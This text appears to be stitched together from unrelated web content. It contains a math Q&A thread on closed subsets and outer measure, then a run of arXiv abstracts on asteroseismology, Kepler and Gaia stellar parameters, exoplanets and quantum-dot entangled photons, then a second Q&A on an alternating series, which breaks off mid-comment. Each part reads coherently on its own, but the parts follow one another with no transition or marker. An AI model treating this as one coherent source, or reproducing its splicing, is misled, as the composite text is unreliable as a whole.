# What's the difference between “$\exists F_\epsilon :m^*(E\setminus F_\epsilon)<\epsilon$ for each $\epsilon$,” and “$\exists F:m^*(E\setminus F)=0$”? Let $E\subseteq \mathbb{R}$ be given, and let $m^*$ denote the outer measure. For each $\epsilon$, there exists a closed set $F_\epsilon\subseteq E$ such that $m^*(E\setminus F_\epsilon)<\epsilon$. Does this imply that there exists a closed set $F\subseteq E$ such that $m^*(E\setminus F)=0$? • What is $E/F$? Do you mean $E\setminus F$? – Amit Kumar Gupta Mar 21 '13 at 7:13 • I think $m^*$ is a more usual notation for outer measure. – copper.hat Mar 21 '13 at 7:14 There exists a $F_\sigma$ set such that this is true, take $\cup_{n=1}^\infty F_{\frac{1}{n}}$. However, the statement is not true in general. Take $E = (0,1)$. Then taking $F_\epsilon = [\frac{\epsilon}{3},1-\frac{\epsilon}{3}]$ results in $m^* (E \setminus F_\epsilon) < \epsilon$. Suppose $F \subset E$ is closed. Let $I=[\inf F, \sup F]$. Clearly, $F \subset I$, and $0< \inf F, \sup F < 1$, hence $m^*(E\setminus F) > \frac{\inf F}{2}> 0$. No. If $E$ is closed then the statement clearly holds, so the only possible counterexample must be non-closed. What's the simplest possible example of that? A bounded open interval. No closed subset $F$ of a bounded open interval $E$ can be such that $m^*(E\setminus F)=0$. This is because $E\setminus F$ is open, thus is either empty or contains an open interval. It can't be empty since that would imply $E=F$ which would make $E$ clopen, which is impossible (the only clopen subsets of $\mathbb{R}$ are the empty set and the whole space). So it contains an open interval, and hence has positive outer measure. It might be useful to see how these statements can be rewritten to better show the difference in their logical form. The 1st statement becomes: $\;\; \left(\forall \, \epsilon > 0 \right) \left( \exists F \subseteq {\mathbb R} \right ):$ $\;\;\;F$ is closed and $m^{*}\left(E-F\right) < \epsilon$ The 2nd statement becomes: $\;\; \left( \exists F \subseteq {\mathbb R} \right )\left(\forall \, \epsilon > 0 \right):$ $\;\;\;F$ is closed and $m^{*}\left(E-F\right) < \epsilon$ Of course, the fact that the 2nd statement is a logically stronger $\exists \; \forall$ uniform statement doesn't mean that, in this specific context, we get a mathematically stronger statement. However, we do in fact get a mathematically stronger statement, as the other answers show.

• ### The TESS Input Catalog and Candidate Target List(1706.00495) Sept. 4, 2018 astro-ph.SR, astro-ph.EP The Transiting Exoplanet Survey Satellite (TESS) will be conducting a nearly all-sky photometric survey over two years, with a core mission goal to discover small transiting exoplanets orbiting nearby bright stars. It will obtain 30-minute cadence observations of all objects in the TESS fields of view, along with 2-minute cadence observations of 200,000 to 400,000 selected stars. The choice of which stars to observe at the 2-min cadence is driven by the need to detect small transiting planets, which leads to the selection of primarily bright, cool dwarfs. We describe the catalogs assembled and the algorithms used to populate the TESS Input Catalog (TIC). We also describe a ranking system for prioritizing stars according to the smallest transiting planet detectable, and assemble a Candidate Target List (CTL) using that ranking. We discuss additional factors that affect the ability to photometrically detect and dynamically confirm small planets, and we note additional stellar populations of interest that may be added to the final target list. The TIC is available on the STScI MAST server, and an enhanced CTL is available through the Filtergraph data visualization portal system at the URL https://filtergraph.vanderbilt.edu/tess_ctl . • ### Confirmation of the zero-point offset in Gaia Data Release 2 parallaxes using asteroseismology and APOGEE spectroscopy in the Kepler field(1805.02650) May 7, 2018 astro-ph.SR We present an independent confirmation of the zero-point offset of Gaia Data Release 2 (DR2) parallaxes using asteroseismic data of evolved stars in the Kepler field. Using well-characterized red giant branch (RGB) stars from the APOKASC-2 catalogue we identify a color- and magnitude-dependent zero-point offset of $52.8 \pm 2.4 (stat.) \pm 1 (syst.) \muas$, in the sense that Gaia parallaxes are too small. The offset is present at nearly the same level in high and low extinction samples, and remains whether using Gaia DR2 or APOKASC-2 extinction estimates derived from SED fitting. The same exercise, performed with core He-burning red clump stars, yields an offset in the same sense of $50.2 \pm 2.5 (stat.) \pm 1 (syst.) \muas$. We argue that the difference between these two measures likely reflects known systematic differences in the APOKASC-2 radius scale of RC and RGB stars at the $1\%$ level. We recommend adopting the RGB scale because the APOKASC-2 sample was calibrated on RGB stars. Because of possible spatially-correlated parallax errors, as discussed by the Gaia team, our zero-point solution is specific to the Kepler field, but broadly compatible with the global zero-point uncertainty inferred by the Gaia team and independent results using Cepheids. Additionally, there is evidence for a larger absolute offset error for smaller parallaxes, which we will explore in future work. • ### Revised Radii of Kepler Stars and Planets using Gaia Data Release 2(1805.00231) May 1, 2018 astro-ph.SR, astro-ph.EP A critical bottleneck for stellar astrophysics and exoplanet science using data from the $Kepler$ mission has been the lack of precise radii and evolutionary states of the observed target stars. Here we present revised radii of 186,813 $Kepler$ stars derived by combining parallaxes from $Gaia$ Data Release 2 with the DR25 $Kepler$ Stellar Properties Catalog. The median radius precision is $\approx$8%, a factor 4-5 improvement over previous estimates for typical $Kepler$ stars. We find that $\approx$65% ($\approx$ 128,000) of all $Kepler$ targets are main-sequence stars, $\approx$23% ($\approx$ 40,600) are subgiants, and $\approx$12% ($\approx$ 23,000) are red giants, demonstrating that subgiant contamination is less severe than previously thought and that the $Kepler$ parent population mostly consists of unevolved main-sequence stars. Using the revised stellar radii, we recalculate the radii for 2218 confirmed and 1958 candidate exoplanets. Our results confirm the presence of a gap in the radius distribution of small, close-in planets, but yield evidence that the gap is mostly limited to incident fluxes $>$200$F_\oplus$ and may be located closer to 2$R_\oplus$. We furthermore find several confirmed exoplanets which occupy the "hot super-Earth desert", detect direct evidence for a correlation of gas-giant planet inflation with increasing incident flux, and establish a bona-fide sample of 8 confirmed planets and 34 planet candidates with $< 2 R_\oplus$ in the habitable zone. The results presented here demonstrate the enormous potential for the precise characterization of stellar and exoplanet populations using the transformational dataset provided by $Gaia$. • ### Semiconductor quantum dots as an ideal source of polarization entangled photon pairs on-demand: a review(1804.10472) April 27, 2018 quant-ph, cond-mat.mes-hall More than 80 years passed since the first publication on entangled quantum states. In this period of time the concept of spookily interacting quantum states became an emerging field of science. After various experiments proving the existence of such non-classical states, visionary ideas were put forward to exploit entanglement in quantum information science and technology. These novel concepts have not yet come out of the experimental stage, mostly because of the lack of suitable, deterministic sources of entangled quantum states. Among many systems under investigation, semiconductor quantum dots are particularly appealing emitters of on-demand, single polarization-entangled photon-pairs. Although, it was originally believed that quantum dots must exhibit a limited degree of entanglement related to numerous decoherence effects present in the solid-state. Recent studies invalidated the premise of unavoidable entanglement degrading effects. We review the relevant experiments which have led to these important discoveries and discuss the remaining challenges for the anticipated quantum technologies. • ### The Second APOKASC Catalog: The Empirical Approach(1804.09983) April 26, 2018 astro-ph.SR We present a catalog of stellar properties for a large sample of 6676 evolved stars with APOGEE spectroscopic parameters and \textit{Kepler} asteroseismic data analyzed using five independent techniques. Our data includes evolutionary state, surface gravity, mean density, mass, radius, age, and the spectroscopic and asteroseismic measurements used to derive them. We employ a new empirical approach for combining asteroseismic measurements from different methods, calibrating the inferred stellar parameters, and estimating uncertainties. With high statistical significance, we find that asteroseismic parameters inferred from the different pipelines have systematic offsets that are not removed by accounting for differences in their solar reference values. We include theoretically motivated corrections to the large frequency spacing ($\Delta \nu$) scaling relation, and we calibrate the zero point of the frequency of maximum power ($\nu_{\rm max}$) relation to be consistent with masses and radii for members of star clusters. For most targets, the parameters returned by different pipelines are in much better agreement than would be expected from the pipeline-predicted random errors, but 22\% of them had at least one method not return a result and a much larger measurement dispersion. This supports the usage of multiple analysis techniques for asteroseismic stellar population studies. The measured dispersion in mass estimates for fundamental calibrators is consistent with our error model, which yields median random and systematic mass uncertainties for RGB stars of order 4\%. Median random and systematic mass uncertainties are at the 9\% and 8\% level respectively for RC stars. • ### Using asteroseismology to characterise exoplanet host stars(1804.02214) April 9, 2018 astro-ph.SR, astro-ph.EP The last decade has seen a revolution in the field of asteroseismology - the study of stellar pulsations. It has become a powerful method to precisely characterise exoplanet host stars, and as a consequence also the exoplanets themselves. This synergy between asteroseismology and exoplanet science has flourished in large part due to space missions such as $\textit{Kepler}$, which have provided high-quality data that can be used for both types of studies. Perhaps the primary contribution from asteroseismology to the research on transiting exoplanets is the determination of very precise stellar radii that translate into precise planetary radii, but asteroseismology has also proven useful in constraining eccentricities of exoplanets as well as the dynamical architecture of planetary systems. In this contribution, we introduce some basic principles of asteroseismology and review current synergies between the two fields. • ### Asteroseismology of 16000 Kepler Red Giants: Global Oscillation Parameters, Masses, and Radii(1802.04455) April 3, 2018 astro-ph.SR The Kepler mission has provided exquisite data to perform an ensemble asteroseismic analysis on evolved stars. In this work we systematically characterize solar-like oscillations and granulation for 16,094 oscillating red giants, using end-of-mission long-cadence data. We produced a homogeneous catalog of the frequency of maximum power (typical uncertainty $\sigma_{\nu_{\rm max}}$=1.6\%), the mean large frequency separation ($\sigma_{\Delta\nu}$=0.6\%), oscillation amplitude ($\sigma_{\rm A}$=4.7\%), granulation power ($\sigma_{\rm gran}$=8.6\%), power excess width ($\sigma_{\rm width}$=8.8\%), seismically-derived stellar mass ($\sigma_{\rm M}$=7.8\%), radius ($\sigma_{\rm R}$=2.9\%), and thus surface gravity ($\sigma_{\log g}$=0.01 dex). Thanks to the large red giant sample, we confirm that red-giant-branch (RGB) and helium-core-burning (HeB) stars collectively differ in the distribution of oscillation amplitude, granulation power, and width of power excess, which is mainly due to the mass difference. The distribution of oscillation amplitudes shows an extremely sharp upper edge at fixed $\nu_{\rm max}$, which might hold clues to understand the excitation and damping mechanisms of the oscillation modes. We find both oscillation amplitude and granulation power depend on metallicity, causing a spread of 15\% in oscillation amplitudes and a spread of 25\% in granulation power from [Fe/H]=-0.7 to 0.5 dex. Our asteroseismic stellar properties can be used as reliable distance indicators and age proxies for mapping and dating galactic stellar populations observed by Kepler. They will also provide an excellent opportunity to test asteroseismology using Gaia parallaxes, and lift degeneracies in deriving atmospheric parameters in large spectroscopic surveys such as APOGEE and LAMOST. • ### K2-231 b: A sub-Neptune exoplanet transiting a solar twin in Ruprecht 147(1803.07430) March 20, 2018 astro-ph.SR, astro-ph.EP We identify a sub-Neptune exoplanet ($R_p = 2.5 \pm 0.2$ R$_\oplus$) transiting a solar twin in the Ruprecht 147 star cluster (3 Gyr, 300 pc, [Fe/H] = +0.1 dex). The ~81 day light curve for EPIC 219800881 (V = 12.71) from K2 Campaign 7 shows six transits with a period of 13.84 days, a depth of ~0.06%, and a duration of ~4 hours. Based on our analysis of high-resolution MIKE spectra, broadband optical and NIR photometry, the cluster parallax and interstellar reddening, and isochrone models from PARSEC, Dartmouth, and MIST, we estimate the following properties for the host star: $M_\star = 1.01 \pm 0.03$ M$_\odot$, $R_\star= 0.95 \pm 0.03$ R$_\odot$, and $T_{\rm eff} = 5695 \pm 50$ K. This star appears to be single, based on our modeling of the photometry, the low radial velocity variability measured over nearly ten years, and Keck/NIRC2 adaptive optics imaging and aperture-masking interferometry. Applying a probabilistic mass-radius relation, we estimate that the mass of this planet is $M_p = 7 +5 -3$ M$_\oplus$, which would cause a RV semi-amplitude of $K = 2 \pm 1$ m s$^{-1}$ that may be measurable with existing precise RV facilities. After statistically validating this planet with BLENDER, we now designate it K2-231 b, making it the second sub-stellar object to be discovered in Ruprecht 147 and the first planet; it joins the small but growing ranks of 23 other planets found in open clusters. • ### Planetary Candidates Observed by Kepler. VIII. A Fully Automated Catalog With Measured Completeness and Reliability Based on Data Release 25(1710.06758) March 4, 2018 astro-ph.EP We present the Kepler Object of Interest (KOI) catalog of transiting exoplanets based on searching four years of Kepler time series photometry (Data Release 25, Q1-Q17). The catalog contains 8054 KOIs of which 4034 are planet candidates with periods between 0.25 and 632 days. Of these candidates, 219 are new and include two in multi-planet systems (KOI-82.06 and KOI-2926.05), and ten high-reliability, terrestrial-size, habitable zone candidates. This catalog was created using a tool called the Robovetter which automatically vets the DR25 Threshold Crossing Events (TCEs, Twicken et al. 2016). The Robovetter also vetted simulated data sets and measured how well it was able to separate TCEs caused by noise from those caused by low signal-to-noise transits. We discusses the Robovetter and the metrics it uses to sort TCEs. For orbital periods less than 100 days the Robovetter completeness (the fraction of simulated transits that are determined to be planet candidates) across all observed stars is greater than 85%. For the same period range, the catalog reliability (the fraction of candidates that are not due to instrumental or stellar noise) is greater than 98%. However, for low signal-to-noise candidates between 200 and 500 days around FGK dwarf stars, the Robovetter is 76.7% complete and the catalog is 50.5% reliable. The KOI catalog, the transit fits and all of the simulated data used to characterize this catalog are available at the NASA Exoplanet Archive. • ### Aldebaran b's temperate past uncovered in planet search data(1802.09812) Feb. 27, 2018 astro-ph.SR, astro-ph.EP The nearby red giant Aldebaran is known to host a gas giant planetary companion from decades of ground-based spectroscopic radial velocity measurements. Using Gaussian Process-based Continuous Auto-Regressive Moving Average (CARMA) models, we show that these historic data also contain evidence of acoustic oscillations in the star itself, and verify this result with further dedicated ground-based spectroscopy and space-based photometry with the Kepler Space Telescope. From the frequency of these oscillations we determine the mass of Aldebaran to be $1.16 \pm 0.07 \, M_\odot$, and note that this implies its planet will have been subject to insolation comparable to the Earth for some of the star's main sequence lifetime. Our approach to sparse, irregularly sampled time series astronomical observations has the potential to unlock asteroseismic measurements for thousands of stars in archival data, and push to lower-mass planets around red giant stars. • ### Strain-tunable GaAs quantum dot: An on-demand source of nearly-maximally entangled photon pairs(1801.06655) Jan. 31, 2018 quant-ph Entangled photon generation from semiconductor quantum dots via the biexciton-exciton cascade underlies various decoherence mechanisms related to the solid-state nature of the quantum emitters. So far, this has prevented the demonstration of nearly-maximally entangled photons without the aid of inefficient and complex post-selection techniques that are hardly suitable for quantum communication technologies. Here, we tackle this challenge using strain-tunable GaAs quantum dots driven under two-photon resonant excitation and with strictly-degenerate exciton states. We demonstrate experimentally that our on-demand source generates polarization-entangled photons with fidelity of 0.978(5) and concurrence of 0.97(1) without resorting to post-selection techniques. Moreover, we show that the remaining decoherence mechanisms can be overcome using a modest Purcell enhancement so as to achieve a degree of entanglement >0.99. Our results highlight that GaAs quantum dots can be readily used in advanced communication protocols relying on the non-local properties of quantum entanglement. • ### The K2-HERMES Survey. I. Planet Candidate Properties from K2 Campaigns 1-3(1712.06774) Dec. 19, 2017 astro-ph.SR, astro-ph.EP Accurate and precise radius estimates of transiting exoplanets are critical for understanding their compositions and formation mechanisms. To know the planet, we must know the host star in as much detail as possible. We present first results from the K2-HERMES project, which uses the HERMES multi-object spectrograph on the Anglo-Australian Telescope to obtain R$\sim$28,000 spectra of up to 360 stars in one exposure. This ongoing project aims to derive self-consistent spectroscopic parameters for about half of K2 target stars. We present complete stellar parameters and isochrone-derived masses and radii for 46 stars hosting 57 K2 candidate planets in Campaigns 1-3. Our revised host-star radii cast severe doubt on three candidate planets: EPIC\,201407812.01, EPIC\,203070421.01, and EPIC\,202843107.01, all of which now have inferred radii well in excess of the largest known inflated Jovian planets. • ### Modelling Kepler Red Giants in Eclipsing Binaries:Calibrating the Mixing Length Parameter with Asteroseismology(1712.01424) Dec. 5, 2017 astro-ph.SR Stellar models rely on a number of free parameters. High-quality observations of eclipsing binary stars observed by Kepler offer a great opportunity to calibrate model parameters for evolved stars. Our study focuses on six Kepler red giants with the goal of calibrating the mixing-length parameter of convection as well as the asteroseismic surface term in models. We introduce a new method to improve the identification of oscillation modes which exploits theoretical frequencies to guide the mode identification ('peak-bagging') stage of the data analysis. Our results indicate that the convective mixing-length parameter (alpha) is about 14% larger for red giants than for the Sun, in agreement with recent results from modelling the APOGEE stars. We found that the asteroseismic surface term (i.e. the frequency offset between the observed and predicted modes) correlates with stellar parameters (Teff, log g) and the mixing-length parameter. This frequency offset generally decreases as giants evolve. The two coefficients a_-1 and a_3 for the inverse and cubic terms that have been used to describe the surface term correction are found to correlate linearly. The effect of the surface term is also seen in the p-g mixed modes, however, established methods for correcting the effect are not able to properly correct the g-dominated modes in late evolved stars. • ### The First APOKASC Catalog of Kepler Dwarf and Subgiant Stars(1710.06858) Oct. 18, 2017 astro-ph.SR (Abridged) We present the first APOKASC catalog of spectroscopic and asteroseismic data for 415 dwarfs and subgiants. Asteroseismic data have been obtained by Kepler in short cadence. The spectroscopic parameters are based on spectra taken as part of APOGEE and correspond to DR13 of SDSS. We analyze our data using two Teff scales, the spectroscopic values from DR13 and those derived from SDSS \emph{griz} photometry. We use the differences in our results arising from these choices as a test of systematic Teff, and find that they can lead to significant differences in the derived stellar properties. Determinations of surface gravity ($\log{g}$), mean density ($\rho$), radius ($R$), mass ($M$), and age ($\tau$) for the whole sample have been carried out with stellar grid-based modeling. We have assessed random and systematic error sources in the spectroscopic and seismic data, as well as in the grid-based modeling determination of the stellar quantities in the catalog. We provide stellar properties for both Teff scales. The median combined (random and systematic) uncertainties are 2% (0.01 dex; $\log{g}$), 3.4% ($\rho$), 2.6% ($R$), 5.1% ($M$), and 19% ($\tau$) for the photometric Teff scale and 2% ($\log{g}$), 3.5% ($\rho$), 2.7% ($R$), 6.3% ($M$), and 23% ($\tau$) for the spectroscopic scale. Comparisons with stellar quantities in the catalog by Chaplin et al. (2014) highlight the importance of metallicity measurements for determining stellar parameters accurately. We also compare our results with those from other sources, including stellar radii determined from TGAS parallaxes and asteroseismic analyses based on individual frequencies. We find a very good agreement in all cases. The latter comparison, in particular, gives a strong support to the determination of stellar quantities based on global seismology, a relevant result for future missions such as TESS and PLATO. • ### Seeing double with K2: Testing re-inflation with two remarkably similar planets around red giant branch stars(1706.05865) Oct. 12, 2017 astro-ph.EP Despite more than 20 years since the discovery of the first gas giant planet with an anomalously large radius, the mechanism for planet inflation remains unknown. Here, we report the discovery of EPIC228754001.01, an inflated gas giant planet found with the NASA K2 Mission, and a revised mass for another inflated planet, K2-97b. These planets reside on ~9 day orbits around host stars which recently evolved into red giants. We constrain the irradiation history of these planets using models constrained by asteroseismology and Keck/HIRES spectroscopy and radial velocity measurements. We measure planet radii of 1.31 +\- 0.11 Rjup and and 1.30 +\- 0.07 Rjup, respectively. These radii are typical for planets receiving the current irradiation, but not the former, zero age main sequence irradiation of these planets. This suggests that the current sizes of these planets are directly correlated to their current irradiation. Our precise constraints of the masses and radii of the stars and planets in these systems allow us to constrain the planetary heating efficiency of both systems as 0.03% +0.03%/-0.02%. These results are consistent with a planet re-inflation scenario, but suggest the efficiency of planet re-inflation may be lower than previously theorized. Finally, we discuss the agreement within 10% of stellar masses and radii, and planet masses, radii, and orbital periods of both systems and speculate that this may be due to selection bias in searching for planets around evolved stars. • ### The TESS-HERMES survey Data Release 1: high-resolution spectroscopy of the TESS southern continuous viewing zone(1707.05753) The Transiting Exoplanet Survey Satellite (TESS) will provide high precision time-series photometry for millions of stars with at least a half-hour cadence. Of particular interest are the circular regions of 12-degree radius centered around the ecliptic poles that will be observed continuously for a full year. Spectroscopic stellar parameters are desirable to characterize and select suitable targets for TESS, whether they are focused on exploring exoplanets, stellar astrophysics, or Galactic archaeology. Here, we present spectroscopic stellar parameters ($T_{\rm eff}$, $\log g$, [Fe/H], $v \sin i$, $v_{\rm micro}$) for about 16,000 dwarf and subgiant stars in TESS' southern continuous viewing zone. For almost all the stars, we also present Bayesian estimates of stellar properties including distance, extinction, mass, radius, and age using theoretical isochrones. Stellar surface gravity and radius are made available for an additional set of roughly 8,500 red giants. All our target stars are in the range $10<V<13.1$. Among them, we identify and list 227 stars belonging to the Large Magellanic Cloud. The data were taken using the the High Efficiency and Resolution Multi-Element Spectrograph (HERMES, R $\sim 28,000$) at the Anglo-Australian Telescope as part of the TESS-HERMES survey. Comparing our results with the TESS Input Catalog (TIC) shows that the TIC is generally efficient in separating dwarfs and giants, but it has flagged more than hundred cool dwarfs ($T_{\rm eff}< 4800$ K) as giants, which ought to be high-priority targets for the exoplanet search. The catalog can be accessed via http://www.physics.usyd.edu.au/tess-hermes/ , or at MAST via https://archive.stsci.edu/prepds/tess-hermes/ . • ### The masses of retired A stars with asteroseismology: Kepler and K2 observations of exoplanet hosts(1708.00716) Sept. 25, 2017 astro-ph.SR, astro-ph.EP We investigate the masses of "retired A stars" using asteroseismic detections on seven low-luminosity red-giant and sub-giant stars observed by the NASA Kepler and K2 Missions. Our aim is to explore whether masses derived from spectroscopy and isochrone fitting may have been systematically overestimated. Our targets have all previously been subject to long term radial velocity observations to detect orbiting bodies, and satisfy the criteria used by Johnson et al. (2006) to select survey stars that may have had A-type (or early F-type) main-sequence progenitors. The sample actually spans a somewhat wider range in mass, from $\approx 1\,\rm M_{\odot}$ up to $\approx 1.7\,\rm M_{\odot}$. Whilst for five of the seven stars the reported discovery mass from spectroscopy exceeds the mass estimated using asteroseismology, there is no strong evidence for a significant, systematic bias across the sample. Moreover, comparisons with other masses from the literature show that the absolute scale of any differences is highly sensitive to the chosen reference literature mass, with the scatter between different literature masses significantly larger than reported error bars. We find that any mass difference can be explained through use of differing constraints during the recovery process. We also conclude that underestimated uncertainties on the input parameters can significantly bias the recovered stellar masses, which may have contributed to the controversy on the mass scale for retired A stars. • The fourth generation of the Sloan Digital Sky Survey (SDSS-IV) began observations in July 2014. It pursues three core programs: APOGEE-2, MaNGA, and eBOSS. In addition, eBOSS contains two major subprograms: TDSS and SPIDERS. This paper describes the first data release from SDSS-IV, Data Release 13 (DR13), which contains new data, reanalysis of existing data sets and, like all SDSS data releases, is inclusive of previously released data. DR13 makes publicly available 1390 spatially resolved integral field unit observations of nearby galaxies from MaNGA, the first data released from this survey. It includes new observations from eBOSS, completing SEQUELS. In addition to targeting galaxies and quasars, SEQUELS also targeted variability-selected objects from TDSS and X-ray selected objects from SPIDERS. DR13 includes new reductions of the SDSS-III BOSS data, improving the spectrophotometric calibration and redshift classification. DR13 releases new reductions of the APOGEE-1 data from SDSS-III, with abundances of elements not previously included and improved stellar parameters for dwarf stars and cooler stars. For the SDSS imaging data, DR13 provides new, more robust and precise photometric calibrations. Several value-added catalogs are being released in tandem with DR13, in particular target catalogs relevant for eBOSS, TDSS, and SPIDERS, and an updated red-clump catalog for APOGEE. This paper describes the location and format of the data now publicly available, as well as providing references to the important technical papers that describe the targeting, observing, and data reduction. The SDSS website, http://www.sdss.org, provides links to the data, tutorials and examples of data access, and extensive documentation of the reduction and analysis procedures. DR13 is the first of a scheduled set that will contain new data and analyses from the planned ~6-year operations of SDSS-IV. • ### Robo-AO Kepler Asteroseismic Survey. I. Adaptive optics imaging of 99 asteroseismic Kepler dwarfs and subgiants(1701.07841) Aug. 31, 2017 astro-ph.SR We used the Robo-AO laser adaptive optics system to image 99 main sequence and subgiant stars that have Kepler-detected asteroseismic signals. Robo-AO allows us to resolve blended secondary sources at separations as close as 0.15" that may contribute to the measured Kepler light curves and affect asteroseismic analysis and interpretation. We report 8 new secondary sources within 4.0" of these Kepler asteroseismic stars. We used Subaru and Keck adaptive optics to measure differential infrared photometry for these candidate companion systems. Two of the secondary sources are likely foreground objects and at least 6 of the secondaries are background sources; however we cannot exclude the possibility that three of the objects may be physically associated. We measured a range of i'-band amplitude dilutions for the candidate companion systems from 0.43% to 15.4%. We find that the measured amplitude dilutions are insufficient to explain the previously identified excess scatter in the relationship between asteroseismic oscillation amplitude and the frequency of maximum power. • ### Evidence for spatially-correlated ${\it Gaia}$ parallax errors in the ${\it Kepler}$ field(1706.09416) June 28, 2017 astro-ph.SR We present evidence for a spatially-dependent systematic error in the first data release of ${\it Gaia}$ parallaxes based on comparisons to asteroseismic parallaxes in the ${\it Kepler}$ field, and present a parametrized model of the angular dependence of these systematics. We report an error of $0.059^{+0.004}_{-0.004}$mas on scales of 0.3deg, which decreases for larger scales to become $0.011^{+0.006}_{-0.004}$mas at 8deg. This is consistent with the $\sim2\%$ zeropoint offset for the whole sample discussed by Huber et al., and is compatible with the effect predicted by the ${\it Gaia}$ team. Our results are robust to dust prescriptions and choices in temperature scales used to calculate asteroseismic parallaxes. We also do not find evidence for significant differences in the signal when using red clump versus red giant stars. Our approach allows us to quantify and map the correlations in an astrophysically interesting field, resulting in a parametrized model of the spatial systematics that can be used to construct a covariance matrix for any work that relies upon TGAS parallaxes. • ### Asteroseismology and Gaia: Testing Scaling Relations Using 2200 Kepler Stars with TGAS Parallaxes(1705.04697) We present a comparison of parallaxes and radii from asteroseismology and Gaia DR1 (TGAS) for 2200 Kepler stars spanning from the main sequence to the red giant branch. We show that previously identified offsets between TGAS parallaxes and distances derived from asteroseismology and eclipsing binaries have likely been overestimated for parallaxes <~ 5-10 mas (~ 90-98% of the TGAS sample). The observed differences in our sample can furthermore be partially compensated by adopting a hotter Teff scale (such as the infrared flux method) instead of spectroscopic temperatures for dwarfs and subgiants. Residual systematic differences are at the ~ 2% level in parallax across three orders of magnitude. We use TGAS parallaxes to empirically demonstrate that asteroseismic radii are accurate to ~ 5% or better for stars between ~ 0.8-8 Rsun. We find no significant offset for main-sequence (<~ 1.5 Rsun) and low-luminosity RGB stars (~ 3-8 Rsun), but seismic radii appear to be systematically underestimated by ~5% for subgiants (~ 1.5-3 Rsun). We find no systematic errors as a function of metallicity between [Fe/H] ~ -0.8 to +0.4 dex, and show tentative evidence that corrections to the scaling relation for the large frequency separation (Dnu) improve the agreement with TGAS for RGB stars. Finally, we demonstrate that beyond ~ 3 kpc asteroseismology will provide more precise distances than end-of-mission Gaia data, highlighting the synergy and complementary nature of Gaia and asteroseismology for studying galactic stellar populations. • ### Evidence for compact binary systems around Kepler red giants(1705.00621) May 1, 2017 astro-ph.SR We present an analysis of 168 oscillating red giants from NASA's $Kepler$ mission that exhibit anomalous peaks in their Fourier amplitude spectra. These peaks result from ellipsoidal variations which are indicative of binary star systems, at frequencies such that the orbit of any stellar companion would be within the convective envelope of the red giant. Alternatively, the observed phenomenon may be due to a close binary orbiting a red giant in a triple system, or chance alignments of foreground or background binary systems contaminating the target pixel aperture. We identify 87 stars in the sample as chance alignments using a combination of pixel Fourier analysis and difference imaging. We find that in the remaining 81 cases the anomalous peaks are indistinguishable from the target star to within 4$''$, suggesting a physical association. We examine a Galaxia model of the $Kepler$ field of view to estimate background star counts and find that it is highly unlikely that all targets can be explained by chance alignments. From this, we conclude that these stars may comprise a population of physically associated systems. • ### Kepler-1649b: An Exo-Venus in the Solar Neighborhood(1704.03136) April 11, 2017 astro-ph.EP The Kepler mission has revealed that Earth-sized planets are common, and dozens have been discovered to orbit in or near their host star's habitable zone. A major focus in astronomy is to determine which of these exoplanets are likely to have Earth-like properties that are amenable to follow-up with both ground- and future space-based surveys, with an ultimate goal of probing their atmospheres to look for signs of life. Venus-like atmospheres will be of particular interest in these surveys. While Earth and Venus evolved to have similar sizes and densities, it remains unclear what factors led to the dramatic divergence of their atmospheres. Studying analogs to both Earth and Venus can thus shed light on the limits of habitability and the potential for life on known exoplanets. Here we present the discovery and confirmation of Kepler-1649b, an Earth-sized planet orbiting a nearby M5V star that receives incident flux at a level similar to that of Venus. We present our methods for characterizing the star, using a combination of PSF photometry, ground-based spectroscopy and imaging, to confirm the planetary nature of Kepler-1649b. Planets like Kepler-1649b will be prime candidates for atmospheric and habitability studies in the next generation of space missions. • ### Weighing in on the masses of retired A stars with asteroseismology: K2 observations of the exoplanet-host star HD 212771(1704.01794) April 6, 2017 astro-ph.SR, astro-ph.EP Doppler-based planet surveys point to an increasing occurrence rate of giant planets with stellar mass. Such surveys rely on evolved stars for a sample of intermediate-mass stars (so-called retired A stars), which are more amenable to Doppler observations than their main-sequence progenitors. However, it has been hypothesised that the masses of subgiant and low-luminosity red-giant stars targeted by these surveys --- typically derived from a combination of spectroscopy and isochrone fitting --- may be systematically overestimated. Here, we test this hypothesis for the particular case of the exoplanet-host star HD 212771 using K2 asteroseismology. The benchmark asteroseismic mass ($1.45^{+0.10}_{-0.09}\:\text{M}_{\odot}$) is significantly higher than the value reported in the discovery paper ($1.15\pm0.08\:\text{M}_{\odot}$), which has been used to inform the stellar mass-planet occurrence relation. This result, therefore, does not lend support to the above hypothesis. Implications for the fates of planetary systems are sensitively dependent on stellar mass. Based on the derived asteroseismic mass, we predict the post-main-sequence evolution of the Jovian planet orbiting HD 212771 under the effects of tidal forces and stellar mass loss. • ### The Correlation Between Mixing Length and Metallicity on the Giant Branch: Implications for Ages in the Gaia Era(1704.01164) April 4, 2017 astro-ph.SR In the updated APOGEE-Kepler catalog, we have asteroseismic and spectroscopic data for over 3000 first ascent red giants. Given the size and accuracy of this sample, these data offer an unprecedented test of the accuracy of stellar models on the post-main-sequence. When we compare these data to theoretical predictions, we find a metallicity dependent temperature offset with a slope of around 100 K per dex in metallicity. We find that this effect is present in all model grids tested and that theoretical uncertainties in the models, correlated spectroscopic errors, and shifts in the asteroseismic mass scale are insufficient to explain this effect. Stellar models can be brought into agreement with the data if a metallicity dependent convective mixing length is used, with $\Delta\alpha_{\rm ML, YREC} \sim 0.2$ per dex in metallicity, a trend inconsistent with the predictions of three dimensional stellar convection simulations. If this effect is not taken into account, isochrone ages for red giants from the Gaia data will be off by as much as a factor of 2 even at modest deviations from solar metallicity ([Fe/H]=$-$0.5).

# Confusion if the series converges or not (alternating series test) I have to test for convergence and absolute convergence for the following series: $$\sum_{k=1}^{\infty} (-1)^k \frac{k}{1+2k^2}$$ Because of the alternating series test, I have to verify if the series decreases monotonically and then show that the limit goes to zero. I don't have any problems showing that it decreases monotonically, but I have trouble showing if the limit is zero. $$\lim_{x\to\infty} \frac{k}{1+2k^2} = \frac{1}{2k} \rightarrow 0$$ Therefore it converges. But with the direct comparison test it is: $$\mid (-1)^k \frac{k}{1+2k^2}\mid = \frac{k}{1+2k^2} =\frac{1}{\frac{1}{k}+2k}\geq \frac{1}{k+2k} = \frac{1}{3k}$$ Which is similar to the harmonic series$\sum_{k=1}^{\infty}\frac{1}{k}$ hence the series should diverge. So my question is, does it diverge or converge? And how do I know if it converges absolutely? Thank you for your time and help! • Yes, the series diverges absolutely. The alternating series test tells you only if it converges. You must decide if it converges conditionally or absolutely... – PhysicsMathsLove Sep 5 '18 at 10:25 • You showed that the series converges, but it does not converge absolutely. – mechanodroid Sep 5 '18 at 10:25 • Indeed you have already proved that the series is convergent but not absolutely convergent. – Rigel Sep 5 